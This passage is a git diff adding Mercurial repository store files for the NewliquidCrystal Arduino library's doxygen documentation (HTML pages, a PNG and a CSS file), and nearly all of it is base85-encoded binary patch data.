zwP030t4flWoSsePeuupKSU^0Pv{25t^(I6@SOldh(M7aD4kXOgFpBQDo>$vs2@F7A z!*30mWIQNF&OllY9^yX4m>-q@`lTJHaF0m|e0f#skiYWm_b13t>=%l@~_?K`*e zHAP4R`9_H0^{>hwM8oQEj7y$RUWCiM!kf}g$p^vHzjU9U%bG{?4PePMwS9l1C^L}! zR$4NCSO&`)Bomfs{33+zVVSYgqv%c;c?q*9Al&v@YO+@|ivPEx3{j-`|Q>>tx zAy+JZbKmWE z9b6q4+R{iYKT!gxEWjENIfyv+_J?8>thmCl*#wpsD~bB_b%hXHA!|A3S%T`b(n4h} zYq*D1MdxOV7Qe^gebRs$#b$C8C~=Hfavt=8Yl`JYZxtVuG68GiI@A(AUoJiHRLdUq z8JB;yEZAE`F1mvRK4(1wN^u-M7?x_x%yr9BJ4m6Vzq;_^g9V1kV=gD%ObQZhGGdsW z07lM;4w;-8JMR#jr{O7*L-4nYS-xEbo(x%qCkuQtD~!X$pPdgdDLZS6&Q{N*b=p99 zLEPAt4DNgFbn8Mx1(-Sm!@!%0_e1NZzTqU5cCTui#Vk@L-!6}veI4bl)uiT9vcR;} z0AXtnt<#e%+D7@ks0?ep?F_p8?F=I@LU!=amlhFgm#<<`>!49YR;xUzV^h+7McFfU zAACP7Z~N}ptgV36>U+ThR60%|qoeefali;x7%C^8Ay(Lj1vHR9XT}6~$E#(C_y}Zf zmbu`)%Toq8_9pw6|14v{Hu5*r{oNUvy+Q&sOD<3*GcBu)32cv~=765=_I-MaTrTqY zceUgu(lOoas!DyVJU1%D@aHGcGmGZm>2jx=M$)qrgh8wu^HY zM|mYRqorGMeWhC?`}~#;?KQzUj1?S!3J#N{VT@D>v!Kci@fVt(-F1lLkLtndiZu#F z#Hq5*ChF0x>d_G@z@Z}5c0t1Obi#n-%!LiWmD@SYq8TpsNFZwNm{E`A1=Sdx(Og~- zaC^!rt~8;o;4{@>e?nU9R#4Lf@+T%)_|mW0BXuguYiRO9lmC?NNrk*hKBj6R6;rF* zt@JF?ECcJ$j{#+<>n{^C4NR z4e5D!vB~lCOewi29hz&a-|TY9s3L!Rg5dpMj~wx*nb`kke~|abQ2sVk=Rh@?_dS6L z<8EC7%lwy~2~s@Ozl8q}NLJTUodcW$4+DWZKW1x)c!N4d9|1iZXH&=v4+LDQl7%wv{J(Ur;kk=NQj9ipS&>0JD9A^X}3~L>SdbKSq$lNsp;~H zZ2-DsA`g8m5B+An<~>qs&$=1i6umtER&c+k`>wV?J14u2m(KDzEn0LW3)lSm6D4tz zUOvx{x7gMatXytXbsIzvZGSFTESX>xLCldvze1vq3{i1fuVcA=-1T)D~mu4ldJ)cM^YqUZnTQ|xjT z4;tabenJ10K^n&82bk|`e&4UDbnDyId%OPM+;z2FdP8H4`3GnHqpjs1liqG!DY(z_ z%=)8qN@V9QJ}q!O^`NW!p3C_UJsUn95SSh&-&41!zt#NIhdt~E^Q7e$#jky%RL~)J z-sW!gT$Pivk3@SkMNVxy{cYn9gTmu0^!L6v|L$I~h0QCq?^g}Gx4+S}v5CI_oA>$O z+^O>C3|>~hR-e87Sie=}cMXfz7i#x@JK^;1WAR7!yCOS2Hk?1a{FLzR3h670TxOmG Th9!fitDnm{r-UW|=A+8X&{6h3 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..2270e328b1fcfbee5c098b8047e624fd2da97976 GIT binary patch literal 4984 zcmYjTbx@Sw`&~pj1WADpN-ayn(xtF8NQodwH&W6iA(GOuba%(nA+f|#(%s$NEno2G zAHOs6oaf9tXXf7b+_`ri01^NR@D~_6008~<|7if*!#~*R9|uxi2Y+xZKSqB&_3R~a z>)hx+&)?>fJWuw;ewOE=(F>(_z;Z7^{TVuCI*mncbrP_#2T0I3JHPF~#YagCBrJ%6 zhTosxihOvv4uXx+HuegH(PIj-G-9f$_8co>%Oy{F+rvivXh&u z6DK6fVXNJ-qUBs`l6S+L8fr>uf9$T$)Lq1$f5>x0T_rKyT$3o2)mTW4h-3exWYAbB z)$Vks2hF(_1T(>@g$fG2OButV5h-q}9!a9y$oaw_Xf|*&lGx{T)V-O{EvGz%C?Gj~ z4$7BO3%yL!7jD^%=i1$0nZ62<)ezJ$uy^+F6P^UDQaV+r`PI`&q!NuJzcnAeQ=h}u zStp6`E=`+cf0r$#NVz@C@+NGeSGY}9Qt3N50gd|H?^It zT^*35=pv(*@`N(FbXm9tT(oqYnR1dMJ0v}iK3qp<7k|YQ1z}; z{AyNvSpP;mOi#1Mu$WluPw12w%$Vr)w+%#glb85XAPJiX6$XmjN?ME|i*jsS`Ntrp;ES@`VZy~|a zk{09|4JK9e1#uQWpRp`P&xPU|6w13sciseh zymqjG=6XDUz>EHKTu7Zw^-N630Wjp-ELKBv2_9#?3nx6iv-VUdVAn9e z(Q*VOs!!uH{+%OSj^tDVl^d^iJ-gg!0X!wnODI=M1}cs4-SmtEdLe(d@b9OQ3!fhFvs_4_9YU;WtR2uf*dpOG3z zzV2j9|8Oe=9a}l{FN<;YqzUQt%zpU_LyW*AB=C9M`|nG!a{4%v&ylY z5WNK!5$9qyso5V#{2^C}jFWMp8PL_%5t7DEBLFRo{wS&{jsxFf3cNAMaPjpjA#4sD zrlL~@$Y%DexUz*Q>l~07u+_9k)x;=A0aTYfL0#F}X64jQP|p9PzZTDrw>C$H!h_An zUac(WtC)=&v;BQ%;`7i>=Tk$?k&SW-#R4PxPqpET2fp0P#%PV0UXD-?aE(p zIqrKsm{PWvMX~}SM}ny7w_qh{xo?)*gVEwKmn-WPV;8&!4Uy)fn7jBY&sdFA6bCh_ zlqwCYYm)sCi6hyKkkZ!^3neoZ%Mf1)ZA@?c>Wln5gGl_MP2k+r~{Go*y%{zRmE+Z9xeQ1Y_0iAi|Izn+zih6&BTQw)LdX6u* zaBQn&!AjtbvsC4S!Pdi%KLVLTT&T}5)u!X^H%Ia@i9oU*1HWu_?#gu&bl#a1@?j4b zAC2Wf=GOSmh$O!$AjQA`xRw84``VsxsO|I5YcuGUx@2qJ*j8}N1pzTQny+o}0vx3d zb<{I5dPxO63mvR_4Hk+e>pAMCp;+I%eI>_b>@6}MA-PI5wz3?pf)u}T(u(RGp3Uo= z7T1Y&W`8T`?u)h-VMpd4#H7z2KO4yKZbd7Ax_m1|lVIPdC7c;l1XgH^pVwbb3gU!{QjlS%{P;1*J_7m()<0fbz72wW{{=4{^B@qPbL@H;-R5W& z3Pq)=_Rsiq(M}6DqUQN169$(grH^dbTy>*AC_%n_a67$y6@~wE;;nddsIrx+nFh$v zf%dl|2<0HOY(8cG6JPp#qh`^__D<|9(Oy|nFIIs`XLX~R)2CUUeshov%#8JHw&6ad zO=Bq_>bjwDZ>}4KX(hpUOuy`##kB}Sk9+E^rcdE3Z?t0gir872R_^% zSg#jfUcqNeL#quz4RICjo1u-*+%+$+GUUUXxp4MW%=qk88Uzt+?*kqf92~g!*c4G7 zXc^V~ipoS~ju@bKVzC9BgJlqzD+Xw?&-@&Ow>0ydsDNdiqQ+e!I1Fm_Dvp9@d}`x3 z9Ek~bXqNXd#ds@_rRDA9H?Mui-QI+G)DXW*`D+ekcVA>Z0$Y=L7rY2JtGPI<0S#@} zufVuarwb0S)6X`*eTXD91qlV#SpI9K-Z8~M#RSE8zU5<#%Oq;Ohw6}>g=GrM-m;`T z>!MnXgC@;~`yNphtVLi}%#e9!?#}$VL+9Z^Cy}+O7^hRU5dXlZGBb*>W4IT<1#uz$ zH10jkh>xgvoD{GADgc1@sXq;i7#2)cH8B263JUkVc(v1@Nqm#8f1bb1C0RSH3A2rz zP?BxyqkEv7Z$owHN54c9WruBG9ld-|Oih6dp*x3e|2QV@j(c+&GP@ffgdSicE}pwX zKEX)e#BHj5qfnK2WKh|e8LKw+jW4Iqs9%e%A#JWYX6B^=4Oxl$9U{52o%98ujlQ** zl9F}L2xjSP&tDL7EJm~O9%Ni?@AaK?GAMWX+x!=%UutFoLg?XwEF7J#kWFclS2?fb zVPN7GT4hfm9}=5-2;S4SF_WJdNgeL<4ettUN-$-wyJIKUej-k)o~ zf$PTW%~B`OtGSL();m`^xsNiy^ZQwzIbz0l=mkVTM0!_v2~W=2O4<}uR1xsf9y0;X zm5tTB!NZdY3b0^_3SOW?DKTJJF_vbrBQSNoslLtjl&$5rH03vEs&ZR1k(t(MJe`w$ z#g}|v3okJwwNe@4Sw7m~144MRjw~3|b_B-)*9yao211vV#RRt}BZa;QrDsRkdY>uKRa}OrfL3e6xyebVqu%*R%2NWVxOL<&0%IU<`o?6AD2{ z`U{=G^VW0!Kj%Z2RO6_gP2_eElca$;J>#yS`w2`jd<6LMjR(O;n{mUaaAc1tC3v6PZ9sxxvx zaWcBYbfszOV=YNQ1T8id}E~f@IY{wJf>2)^|s5TH4w-3K)wnZlk;# zgiq=bhL45(lx!Yar3Khn;eyzQvb*U3CbM|U!1>qlk6eP}exR~}dui4)Qn>I2r?#kf#CiL-gF7m#ETr76iT-9U#?hxm#&;c6gDWulv^2J`0M^hkMC#??C~ANLtRSx&*MiLCM1vNRnQn$aHbq@+LA#jr~{Q%qv3Yx zz;jn>?BM4N8-BqzhSZ;O35j%@j57`kwjqo;cYe<6?F`qA#hF@k)MYLtoLZxZPS=C3|ARV;O@*Oxo^8&*;5??ie_9^5@QIOd0RX0$C-n%&$3l79cgzgI zx_TN)9O_7J?=%yaX;+TQ*4m<|FMQOXxO`0|7=JP8QK8Tm_o z2ZW|VNXk=2qhS{ojZTx=JNHwhUGj!G4)rieXmR|6Uw%$>=|*g0)Q+c1TPJG=RdKmI zBj=5IW(Cbs9A4q4;90{1rkJL*bSba>LE22?ngRZx3Vqe_paSM1$keaS&r^r@hrHqQ zEic{}*?A6OQPJif*vkrHV<7kA0ydu^u2wTt_d+k-erjR^Gko;1UI_XMT7Fmbu1pqV zHT^NDj#1fa1a8P0vqbSsnw_?%PDwtqLupUp%%bXqAZz-Uv1bi5Qymu|W1O@No`f?N9q1 zu^i~cD5i;f6$cd~E8lUyOOW2y$M40LIf`PJ?_lWjf4&c;^sRb$6vehoH6NZ{srSKJ z>@ob8!+q7nEDXlN(|wGe8IoBFo@{I^%m*f54>70x=3u#{@XFo GLiryd$yJg7 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c79288ba7c930ae8fc33be632b0d8d8be0dff9a4 GIT binary patch literal 5322 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 KR~ISk-TwfYTF&kO literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r______l__c__d3.png.i new file mode 100644 index 0000000000000000000000000000000000000000..57e118d754e8e58db19df10ac23d9bc7aa1d5bdc GIT binary patch literal 507 zcmZQzWME_f1IFD942-)VYzF=RP%t6y(w{e3KV}H6h{@S^Pg)tfw`BNTG^*z9{%*SVmyvvc^zQ4x8ALno3oS_r5k6X>awpBCyo~Nx>$ovo6 z8aRCtc1_frKP5Nld+yhiWl^6URZ~`(%7?hAJ&~PpfJM!q5vYPm7{Yw1Jws!@h?jVQ zLE}p?wfiQYuL)ed!6=>kEb_O{lDLJl&9Dz?6^Q7dD+_h73KJMbAD7)>>oUUD0|JhVbRE|uWHE(X-`<`PKt&aPz1^2$c zEdOZBk(6_tZ{O{@`O4p5XREl^>Gbm2<6rGIKK}DGSS9HHq)fy2IzPOg{0f_YtK#!q z%g^UT6EqzfJgTe~DWM4f;;7j& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/classes.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/classes.html.i new file mode 100644 index 0000000000000000000000000000000000000000..bd1e75f55da13347536cdb9d49565a575c36acda GIT binary patch literal 5598 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 Mr>mdKI;Vst0NJBB;s5{u literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/doxygen.css.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/doxygen.css.i new file mode 100644 index 0000000000000000000000000000000000000000..a9dc8017814dd67622289c021c7f57ea6cf2956b GIT binary patch literal 3379 zcmV-34b1WY0RRC20000001Wd005CoP00000000>O|NsC0|NsBeJ|68u4dHT!g%iQ= zvO_e;f(Zx!00000000000001ZoTVCTZ`(NXbNnla28$+z?aI$MDR4N)j&~R60f%jI zUkh5IEnf9HiMHbw_up^$6e&?onv0u87Kg)mb7shoAJEsBpo-xv!exY3U%sGSUZN;} zKJQ6}K78!;ws~~!BZjvL>7$4q`>24w3HsT)+T|G=>~Knx^8@;P2x)}T?@$bXSC z!Wr(P-$_P}@ON2Kob*wJvuaS0lI}h!1Qq>39?)o9Jb&u_x7Yjl0sVbn=7$3PL2yK~ zJ^DBY_%;m>F@G;A8YSOb-d8VJ-wVNb?^9cs``rV2=yHLQ-pB@`4TAEU@TvWSx*c^|MG*3qmNLy|=awT8DjV|n_30vjTVJP=bG zg83k9EXRe`f%LiT*Z&mK}gmJaT?3iNwMp4k8=bPq}mNybR26gNDQ zvXTpVaNNHF2Up{ND46xL@PJ{4kKhkL_ZElWxvgdqS4CbvpzEi{r_E*#I@;!CMBvQ` z?5oNX8lmgu%6=Hffih{f6@uM(P(L9B#1nrbsO zbX)2v70|5Zd!K3c9erWvggYSD7Ut75lauxAZn0{5R+g73PBeQF3G)(j4fBzVNG}ax z0x(=5{BWcdWhAokPUrL4ax5V6L!5)+_-G3q$eWa$O$n*Q(rri@;*ZZAFg``zua=wj 